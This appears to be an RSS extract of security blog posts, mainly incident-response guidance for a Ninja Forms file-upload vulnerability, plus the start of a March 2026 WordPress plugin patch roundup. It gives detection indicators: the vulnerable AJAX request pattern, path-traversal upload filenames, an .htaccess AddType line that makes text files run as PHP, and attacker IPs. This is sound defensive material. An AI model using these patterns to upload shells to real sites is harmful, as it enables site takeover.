&lt;p&gt;Yes, and they are specific enough to grep for. Wordfence published its &lt;a href=&quot;https://www.wordfence.com/blog/2026/04/attackers-actively-exploiting-critical-vulnerability-in-ninja-forms-file-upload-plugin/&quot;&gt;attack data on April 16&lt;/a&gt; with live request payloads, the most active attacker IPs, and the exact URL pattern to hunt in access logs.&lt;/p&gt;
&lt;h3&gt;Request signature to look for&lt;/h3&gt;
&lt;p&gt;The common attack vector is a POST request to &lt;code&gt;admin-ajax.php&lt;/code&gt; with the &lt;code&gt;nf_fu_upload&lt;/code&gt; action. Grep your webserver access logs for either of these patterns:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;/wp-admin/admin-ajax.php?action=nf_fu_upload&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;/wp-admin/admin-ajax.php  (with POST body containing action=nf_fu_upload)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Exploit attempts typically include a &lt;code&gt;multipart/form-data&lt;/code&gt; body with a destination filename pointed at a &lt;code&gt;.php&lt;/code&gt; path (for example &lt;code&gt;nf_lab_10e31d63.php&lt;/code&gt; or &lt;code&gt;../../wp_cache.php&lt;/code&gt;), or a URL-encoded destination of &lt;code&gt;%2ehtaccess&lt;/code&gt; alongside a file that has a GIF89a or PDF magic-byte header but actually contains PHP.&lt;/p&gt;
&lt;h3&gt;Files to hunt on disk&lt;/h3&gt;
&lt;p&gt;Attackers are dropping two kinds of artefact:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;PHP webshells&lt;/strong&gt; in the webroot and in &lt;code&gt;/wp-content/uploads/&lt;/code&gt;, often with names designed to blend in: &lt;code&gt;wp_cache.php&lt;/code&gt;, &lt;code&gt;nf_lab_*.php&lt;/code&gt;, or any PHP file whose modified time lines up with a matching POST to &lt;code&gt;admin-ajax.php?action=nf_fu_upload&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Malicious &lt;code&gt;.htaccess&lt;/code&gt; files&lt;/strong&gt; in upload directories that add &lt;code&gt;AddType application/x-httpd-php .txt&lt;/code&gt; (or similar) so &lt;code&gt;.txt&lt;/code&gt; or other harmless-looking files execute as PHP. If you find a &lt;code&gt;.htaccess&lt;/code&gt; in an uploads directory that you did not put there, treat it as compromise until proven otherwise.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;One observed payload self-identifies in its output as a &lt;code&gt;bashd3x&lt;/code&gt; uploader and calls &lt;code&gt;php_uname()&lt;/code&gt; on first hit - that string in a file or in your logs is a strong signal.&lt;/p&gt;
&lt;h3&gt;Top attacker IPs (as of April 16, 2026)&lt;/h3&gt;
&lt;p&gt;Wordfence’s top ten most active IPs for this CVE, ordered by blocked request count:&lt;/p&gt;

















































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;IP address&lt;/th&gt;&lt;th&gt;Blocked requests&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;124.248.183.139&lt;/code&gt;&lt;/td&gt;&lt;td&gt;53,000+&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;152.42.221.239&lt;/code&gt;&lt;/td&gt;&lt;td&gt;14,000+&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;124.108.54.86&lt;/code&gt;&lt;/td&gt;&lt;td&gt;8,000+&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;82.29.88.44&lt;/code&gt;&lt;/td&gt;&lt;td&gt;3,400+&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;143.198.143.185&lt;/code&gt;&lt;/td&gt;&lt;td&gt;2,800+&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;185.213.83.150&lt;/code&gt;&lt;/td&gt;&lt;td&gt;1,700+&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;168.144.32.17&lt;/code&gt;&lt;/td&gt;&lt;td&gt;1,500+&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;182.9.35.168&lt;/code&gt;&lt;/td&gt;&lt;td&gt;1,400+&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;37.19.205.247&lt;/code&gt;&lt;/td&gt;&lt;td&gt;1,400+&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;160.202.35.137&lt;/code&gt;&lt;/td&gt;&lt;td&gt;1,300+&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;These IPs are a useful grep starting point for historical log review, but do not rely on them alone. Block lists age fast and new scanners rotate in daily. Any POST to &lt;code&gt;admin-ajax.php?action=nf_fu_upload&lt;/code&gt; from an unexpected IP is worth treating as hostile.&lt;/p&gt;
&lt;h2&gt;What do I do if I find a WordPress site exposed to CVE-2026-0740?&lt;/h2&gt;
&lt;p&gt;Patching is step one, but this is an unauthenticated RCE. Anyone scanning the internet for vulnerable installs could already have dropped a webshell. Treat any site you find on 3.3.26 or earlier as potentially compromised and check before you close the ticket.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Update to 3.3.27 or later.&lt;/strong&gt; Not 3.3.25. Not 3.3.26. From mySites.guru, &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;push the update in bulk&lt;/a&gt; to every affected site at once.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Scan for webshells and backdoors at the file level.&lt;/strong&gt; The vulnerability writes attacker-controlled PHP anywhere writable on disk, so grep-for-suspicious-filenames is not enough. mySites.guru’s &lt;a href=&quot;https://mysites.guru/wordpress-malware-scanner/&quot;&gt;deep file scanner&lt;/a&gt; inspects every file in the webspace against 12 years of threat signature data and flags webshells, backdoors, and known hacked files regardless of where they were placed. Run it on every site you just patched, not just the obviously dodgy ones. The ones that look clean are the ones you missed. There is more detail on how this works in our post on &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;finding hacked files and backdoors in Joomla and WordPress&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Review the Ninja Forms uploads directory manually too.&lt;/strong&gt; Uploads typically go under &lt;code&gt;wp-content/uploads/ninja-forms/&lt;/code&gt;, but because of the path traversal, the malicious file could be anywhere. Look for PHP files in upload directories, recently modified PHP files outside &lt;code&gt;wp-content/plugins/&lt;/code&gt;, any file with a suspicious name in the webroot, and crucially &lt;strong&gt;any &lt;code&gt;.htaccess&lt;/code&gt; file in an uploads directory you did not put there&lt;/strong&gt;, attackers are using these to turn harmless file types into executable PHP.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Grep your webserver access logs&lt;/strong&gt; for POST requests to &lt;code&gt;admin-ajax.php?action=nf_fu_upload&lt;/code&gt; and cross-reference against the &lt;a href=&quot;#are-there-indicators-of-compromise-for-cve-2026-0740&quot;&gt;top attacker IPs&lt;/a&gt; listed above. Anything from an unexpected IP, at an unusual time, or with a suspicious &lt;code&gt;referer&lt;/code&gt; header is worth investigating. mySites.guru’s &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;real-time activity alerting&lt;/a&gt; also catches new PHP files being written and admin logins from unfamiliar IPs, which is exactly the post-exploitation signal you want to see on this kind of vulnerability.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Check the usual post-compromise indicators.&lt;/strong&gt; Unknown admin users, modified core files, unexpected cron jobs, new scheduled tasks, outbound connections from the web server process. Our post on &lt;a href=&quot;https://mysites.guru/blog/is-my-wordpress-site-hacked/&quot;&gt;how to tell if your WordPress site is hacked&lt;/a&gt; covers the full checklist.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Rotate credentials if you find evidence of compromise.&lt;/strong&gt; Treat anything in &lt;code&gt;wp-config.php&lt;/code&gt; (database credentials, salts, API keys) as leaked and rotate it. Reset every admin password. Invalidate active sessions.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If you find a compromised site and do not want to handle the clean-up yourself, &lt;a href=&quot;https://mysites.guru/wordpress-hacked/&quot;&gt;mySites.guru’s hack recovery service&lt;/a&gt; takes over from here: we identify every affected file, remove the backdoors, patch the vulnerability, and harden the site against re-compromise.&lt;/p&gt;
&lt;h2&gt;How can I prevent the next WordPress plugin AJAX vulnerability from hitting my sites?&lt;/h2&gt;
&lt;p&gt;This is not going to be the last WordPress plugin AJAX handler to ship an unauthenticated RCE. The pattern of “check the obvious thing, miss the subtle one” is structural, not accidental, and every time a new one appears the game is the same: find your vulnerable sites before the scanners do.&lt;/p&gt;
&lt;p&gt;A few things tilt the odds in your favour, and mySites.guru does all of them by default:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/wordpress-vulnerability-scanner/&quot;&gt;Continuous vulnerability scanning&lt;/a&gt;&lt;/strong&gt; across every connected site, cross-referenced against Wordfence and Patchstack feeds twice daily. A new CVE drops, the dashboard tells you who is exposed, you don’t have to read the advisories yourself.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;Real-time file-change alerting&lt;/a&gt;&lt;/strong&gt; so new PHP files appearing in upload directories or the webroot trigger an immediate notification. This is the single highest-signal alert for file-upload RCEs - the attacker’s first move after exploitation is writing a file that did not exist before.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;Bulk plugin updates&lt;/a&gt;&lt;/strong&gt; across your whole portfolio in one action, so the window between disclosure and patch is minutes, not days.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Admin login alerting&lt;/strong&gt; on every connected site, catching the common post-exploit move of creating a new administrator account.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Daily deep file scans&lt;/strong&gt; against 12 years of threat signature data, so webshells dropped via vulnerabilities you did not even know about still get caught before they do damage.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This is why auto-updates are a safety net and not a strategy. They will happily bring you to a partial fix like 3.3.25 and then stop. Monitoring, bulk-update control, file-change alerting, and deep scanning are what catch the things auto-updates miss. If you want a concrete operational routine for running these checks across a portfolio, we wrote up exactly that in &lt;a href=&quot;https://mysites.guru/blog/how-to-build-morning-routine-checking-joomla-sites/&quot;&gt;how to build a five-minute morning routine for checking all your sites&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;What is the broader lesson for WordPress agencies?&lt;/h2&gt;
&lt;p&gt;A version number that &lt;em&gt;looks&lt;/em&gt; patched is not the same as a version that &lt;em&gt;is&lt;/em&gt; patched. The only authoritative check is to compare the installed version against the fully patched version published by the vendor, not the first version the vendor labelled as a fix.&lt;/p&gt;
&lt;p&gt;AJAX file upload handlers have far more surface area than they look, and “we patched it” and “we are safe” are not the same sentence. A vendor can try to fix an AJAX handler and still ship an exploit because the surface area is that large. If you manage more than a handful of sites, you need a way to answer “which of my sites are running plugin X below version Y” in under a minute, and a way to see if anything unexpected has been written to disk since the last scan. Without both, you cannot respond to vulnerabilities like this before the scanners finish their sweep.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Stop guessing which sites are vulnerable&lt;/p&gt;&lt;p&gt;mySites.guru connects to every WordPress and Joomla site you manage, indexes every plugin and extension, and cross-references them against vulnerability databases continuously. One flat price of £19.99 per month. Unlimited sites. Same pricing since 2012.&lt;/p&gt;&lt;div&gt;&lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;Run a free audit&lt;/a&gt;&lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Sign up free&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2026-01-08&lt;/strong&gt; Wordfence receives the responsible disclosure A firewall rule goes to Wordfence Premium customers the same day. The vendor acknowledges on 12 January and sends a patch for review on 27 January.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-02-10&lt;/strong&gt; 3.3.25 is released as the first patched version, and is not patched It fixed part of the destination filename handling and left the exploit path open. 3.3.26 was still vulnerable too. The version number went up, the changelog mentioned a security fix, and every monitoring dashboard and scanner feed went green.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-03-19&lt;/strong&gt; 3.3.27 is the first fixed release Over a month after the release that claimed to fix it. Any auto-updater that ran between 10 February and 19 March pulled down a build that looked patched and was still exploitable.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-04-06&lt;/strong&gt; Wordfence discloses CVE-2026-0740 at CVSS 9.8, and attackers move the same day An unauthenticated arbitrary file upload in NF_FU_AJAX_Controllers_Uploads::handle_upload, on around 50,000 sites. The root cause is no destination filename validation.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-04-09&lt;/strong&gt; Mass exploitation, 9 to 13 April Observed payloads include PHP web shells dropped into the web root and magic-byte-prefixed files.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-04-16&lt;/strong&gt; Wordfence confirms active exploitation and publishes its attack data Over 118,600 exploit attempts blocked, with live request payloads, the most active attacker IP addresses and the exact URL pattern to hunt for in access logs.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wordfence.com/blog/2026/04/attackers-actively-exploiting-critical-vulnerability-in-ninja-forms-file-upload-plugin/&quot;&gt;Wordfence: Attackers Actively Exploiting Critical Vulnerability in Ninja Forms File Upload Plugin&lt;/a&gt; - the April 16 attack-data write-up with real exploit payloads, top attacker IPs, and confirmation of over 118,600 blocked exploit attempts&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wordfence.com/blog/2026/04/50000-wordpress-sites-affected-by-arbitrary-file-upload-vulnerability-in-ninja-forms-file-upload-wordpress-plugin/&quot;&gt;Wordfence: 50,000 WordPress Sites affected by Arbitrary File Upload Vulnerability in Ninja Forms File Upload&lt;/a&gt; - the primary public disclosure with full technical analysis, vulnerable code, and disclosure timeline&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/ninja-forms-uploads/ninja-forms-file-upload-3326-unauthenticated-arbitrary-file-upload&quot;&gt;Wordfence advisory for CVE-2026-0740&lt;/a&gt; - the Wordfence Intelligence entry with CVSS vector and version detail&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;AJAX Endpoints Are A Big CMS Security Blind Spot&lt;/a&gt; - our hard look at why WordPress and Joomla AJAX handlers keep producing critical CVEs&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/four-wordpress-plugins-security-patches-march-2026/&quot;&gt;Four Major WordPress Plugins Patched Security Flaws in March 2026&lt;/a&gt; - the previous month&apos;s plugin CVEs, several of which shared the AJAX-handler root cause&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/astroid-framework-security-vulnerability/&quot;&gt;Astroid Framework Vulnerability&lt;/a&gt; - sibling Joomla AJAX handler CVE (CVE-2026-21628) with the same root cause&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/novarain-framework-joomla-vulnerability/&quot;&gt;Novarain Framework Joomla Vulnerability&lt;/a&gt; - another Joomla &lt;code&gt;com_ajax&lt;/code&gt; handler shipping unauthenticated file operations (CVE-2026-21627)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/smart-slider-3-arbitrary-file-read-vulnerability/&quot;&gt;Smart Slider 3 Arbitrary File Read Vulnerability&lt;/a&gt; - WordPress &lt;code&gt;admin-ajax.php&lt;/code&gt; handler skipping authorisation (CVE-2026-3098)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/is-my-wordpress-site-hacked/&quot;&gt;Is My WordPress Site Hacked?&lt;/a&gt; - checklist of post-compromise indicators if you suspect a site has been hit&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://patchstack.com/database/wordpress/plugin/ninja-forms-uploads/&quot;&gt;Patchstack entry for Ninja Forms File Uploads&lt;/a&gt; - full vulnerability history for the plugin&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>wordpress</category><category>ninja-forms</category><category>ajax</category><category>security</category><category>vulnerability</category><enclosure url="https://mysites.guru/img/og/blog/ninja-forms-file-uploads-cve-2026-0740.png" length="0" type="image/png"/></item><item><title>4 Major WordPress Plugins Patched Security Flaws in March 2026</title><link>https://mysites.guru/blog/four-wordpress-plugins-security-patches-march-2026/</link><guid isPermaLink="true">https://mysites.guru/blog/four-wordpress-plugins-security-patches-march-2026/</guid><description>Elementor, Yoast SEO, WPForms, and Really Simple Security all shipped security patches in March 2026. What was fixed, and how to verify your sites.</description><pubDate>Mon, 06 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Four of WordPress’s most-installed plugins all shipped security patches in March 2026: Elementor (10 million active installs), Yoast SEO (10 million), WPForms (6 million), and Really Simple Security (3 million). Combined, that is over 29 million WordPress installations running code that needed fixing.&lt;/p&gt;
&lt;p&gt;The patches shipped as minor version bumps. No emergency banners, no vendor blog posts sounding the alarm. If you check your plugins regularly, you might have noticed the update dot. If you rely on auto-updates, you might be fine. If you do neither, your sites are still vulnerable.&lt;/p&gt;
&lt;p&gt;Two of these four vulnerabilities require no authentication to exploit. An attacker does not need an account on your site. They just need to know your site exists.&lt;/p&gt;
&lt;h2&gt;How Does mySites.guru Help With WordPress Plugin Vulnerabilities?&lt;/h2&gt;
&lt;p&gt;If you manage WordPress sites for clients, you already know these patches exist. The information is public. The hard part is &lt;strong&gt;checking every site actually got them&lt;/strong&gt;. Four plugins across 50 client sites is 200 individual version checks. Manually, that is an afternoon. With a dashboard, it takes seconds.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/blog/wordpress-plugin-vulnerability-alerting/&quot;&gt;mySites.guru’s vulnerability alerting&lt;/a&gt; cross-references every installed plugin on your connected sites against the Wordfence Vulnerability API twice daily. When a CVE drops for a plugin you have installed, you get flagged automatically, without RSS feeds to monitor or security blogs to bookmark.&lt;/p&gt;
&lt;p&gt;For patches like these, you can see at a glance which sites are still running vulnerable versions, then &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;push updates in bulk&lt;/a&gt; across your entire portfolio. Or run a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; on any site to see its current plugin versions and known vulnerabilities in under a minute.&lt;/p&gt;
&lt;p&gt;The WordPress Extensions page lists every plugin installed across all your connected sites. Filter by name, sort by version, and click “Which sites?” to find exactly where a specific plugin is running.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;img alt=&quot;mySites.guru WordPress Extensions list showing all plugins installed across your sites with version numbers and a &amp;quot;Which sites?&amp;quot; button for each&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 3200px) 3200px, 100vw&quot; width=&quot;3200&quot; height=&quot;2150&quot; src=&quot;https://mysites.guru/_astro/mysitesguru-wordpress-extensions-list.DupFtMHS_ZTaYfB.webp&quot; srcset=&quot;https://mysites.guru/_astro/mysitesguru-wordpress-extensions-list.DupFtMHS_1F4Fl9.webp 640w, https://mysites.guru/_astro/mysitesguru-wordpress-extensions-list.DupFtMHS_2uxyo6.webp 750w, https://mysites.guru/_astro/mysitesguru-wordpress-extensions-list.DupFtMHS_Zj9Her.webp 828w, https://mysites.guru/_astro/mysitesguru-wordpress-extensions-list.DupFtMHS_Zb1KCU.webp 1080w, https://mysites.guru/_astro/mysitesguru-wordpress-extensions-list.DupFtMHS_Z13Fyhv.webp 1280w, https://mysites.guru/_astro/mysitesguru-wordpress-extensions-list.DupFtMHS_Z3dLKL.webp 1668w, https://mysites.guru/_astro/mysitesguru-wordpress-extensions-list.DupFtMHS_ZpjO45.webp 2048w, https://mysites.guru/_astro/mysitesguru-wordpress-extensions-list.DupFtMHS_Z1qUNWr.webp 2560w, https://mysites.guru/_astro/mysitesguru-wordpress-extensions-list.DupFtMHS_ZTaYfB.webp 3200w&quot; /&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Click through to any plugin and you see every version variant across your portfolio. In this example, Elementor 3.35.5 (vulnerable) and 3.35.8 (patched) are both present, with a “1 Vulnerable Plugins!” warning on the sites still running the old version.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;img alt=&quot;mySites.guru Elementor version drilldown showing sites running vulnerable version 3.35.5 flagged with a red &amp;quot;1 Vulnerable Plugins!&amp;quot; badge alongside sites running the patched 3.35.8&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 3198px) 3198px, 100vw&quot; width=&quot;3198&quot; height=&quot;1214&quot; src=&quot;https://mysites.guru/_astro/mysitesguru-elementor-version-drilldown.Bacfv4kQ_1bejSk.webp&quot; srcset=&quot;https://mysites.guru/_astro/mysitesguru-elementor-version-drilldown.Bacfv4kQ_1rAJI8.webp 640w, https://mysites.guru/_astro/mysitesguru-elementor-version-drilldown.Bacfv4kQ_Z2uv6HN.webp 750w, https://mysites.guru/_astro/mysitesguru-elementor-version-drilldown.Bacfv4kQ_P9ymc.webp 828w, https://mysites.guru/_astro/mysitesguru-elementor-version-drilldown.Bacfv4kQ_1lO3c1.webp 1080w, https://mysites.guru/_astro/mysitesguru-elementor-version-drilldown.Bacfv4kQ_Z1kKERH.webp 1280w, https://mysites.guru/_astro/mysitesguru-elementor-version-drilldown.Bacfv4kQ_Z1PG3MY.webp 1668w, https://mysites.guru/_astro/mysitesguru-elementor-version-drilldown.Bacfv4kQ_Z22WVNx.webp 2048w, https://mysites.guru/_astro/mysitesguru-elementor-version-drilldown.Bacfv4kQ_Z2tUB3i.webp 2560w, https://mysites.guru/_astro/mysitesguru-elementor-version-drilldown.Bacfv4kQ_1bejSk.webp 3198w&quot; /&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;When a site has a known vulnerable plugin, the manage site page shows a red warning banner at the top with the CVE details and a link to learn more.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;img alt=&quot;mySites.guru manage site page showing a red &amp;quot;This site has one or more vulnerable plugins installed&amp;quot; banner with CVE details for a stored XSS vulnerability&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1920px) 1920px, 100vw&quot; width=&quot;1920&quot; height=&quot;916&quot; src=&quot;https://mysites.guru/_astro/mysitesguru-vulnerable-plugin-warning.CJMkUUnS_Z1SS1YQ.webp&quot; srcset=&quot;https://mysites.guru/_astro/mysitesguru-vulnerable-plugin-warning.CJMkUUnS_ZDDwAE.webp 640w, https://mysites.guru/_astro/mysitesguru-vulnerable-plugin-warning.CJMkUUnS_Zt8jqC.webp 750w, https://mysites.guru/_astro/mysitesguru-vulnerable-plugin-warning.CJMkUUnS_ZwWE8x.webp 828w, https://mysites.guru/_astro/mysitesguru-vulnerable-plugin-warning.CJMkUUnS_Z1fuRw5.webp 1080w, https://mysites.guru/_astro/mysitesguru-vulnerable-plugin-warning.CJMkUUnS_26J1p2.webp 1280w, https://mysites.guru/_astro/mysitesguru-vulnerable-plugin-warning.CJMkUUnS_Z1l8iQf.webp 1668w, https://mysites.guru/_astro/mysitesguru-vulnerable-plugin-warning.CJMkUUnS_Z1SS1YQ.webp 1920w&quot; /&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;The &lt;a href=&quot;https://mysites.guru/wordpress-vulnerability-scanner/&quot;&gt;WordPress vulnerability scanner&lt;/a&gt; page explains the full detection pipeline.&lt;/p&gt;
&lt;h2&gt;What Got Patched?&lt;/h2&gt;
&lt;h3&gt;Elementor - Sensitive Data Exposure (CVE-2026-1206)&lt;/h3&gt;





































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Detail&lt;/th&gt;&lt;th&gt;Value&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;CVE&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/elementor&quot;&gt;CVE-2026-1206&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;CVSS&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;4.3 Medium&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Type&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Incorrect Authorization / Information Disclosure&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Affected versions&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;All versions up to 3.35.7&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Patched version&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;3.35.8&lt;/strong&gt; (March 23, 2026)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Auth required&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Yes - Contributor or above&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Researcher&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Angus Girvan (via Wordfence)&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The &lt;code&gt;is_allowed_to_read_template()&lt;/code&gt; function in Elementor had a logic error. It treated non-published templates as readable without checking whether the requesting user actually had edit capabilities. A contributor could call the &lt;code&gt;get_template_data&lt;/code&gt; action via the &lt;code&gt;elementor_ajax&lt;/code&gt; endpoint with any &lt;code&gt;template_id&lt;/code&gt; and pull back private or draft template content.&lt;/p&gt;
&lt;p&gt;This is a confidentiality issue, not a code execution flaw. No one is taking over your site through this alone. But draft templates often contain unreleased page layouts, pricing structures, or client content that should not be accessible to low-privilege users.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;mySites.guru subscribers: check your Elementor versions now&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/a4711e26b508c580ec1e12ba9aa6e5fd&quot;&gt;Open Elementor Extension Search&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;Lists every Elementor version across your connected sites, grouped by version number. Spot 3.35.7 or earlier at a glance. Not a subscriber? &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Sign up free&lt;/a&gt; to get this visibility.&lt;/p&gt;
&lt;/div&gt;
&lt;h3&gt;Yoast SEO - Stored Cross-Site Scripting (CVE-2026-3427)&lt;/h3&gt;





































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Detail&lt;/th&gt;&lt;th&gt;Value&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;CVE&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wordpress-seo&quot;&gt;CVE-2026-3427&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;CVSS&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;6.4 Medium&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Type&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Stored XSS&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Affected versions&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;All versions up to 27.1.1&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Patched version&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;27.2&lt;/strong&gt; (March 17, 2026)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Auth required&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Yes - Contributor or above&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Researcher&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Osvaldo Noe Gonzalez Del Rio (via Wordfence)&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Yoast SEO failed to sanitize the &lt;code&gt;jsonText&lt;/code&gt; block attribute in the HowTo block. A contributor could inject arbitrary JavaScript into page content. The script executes in the browser of anyone who views the page, including administrators.&lt;/p&gt;
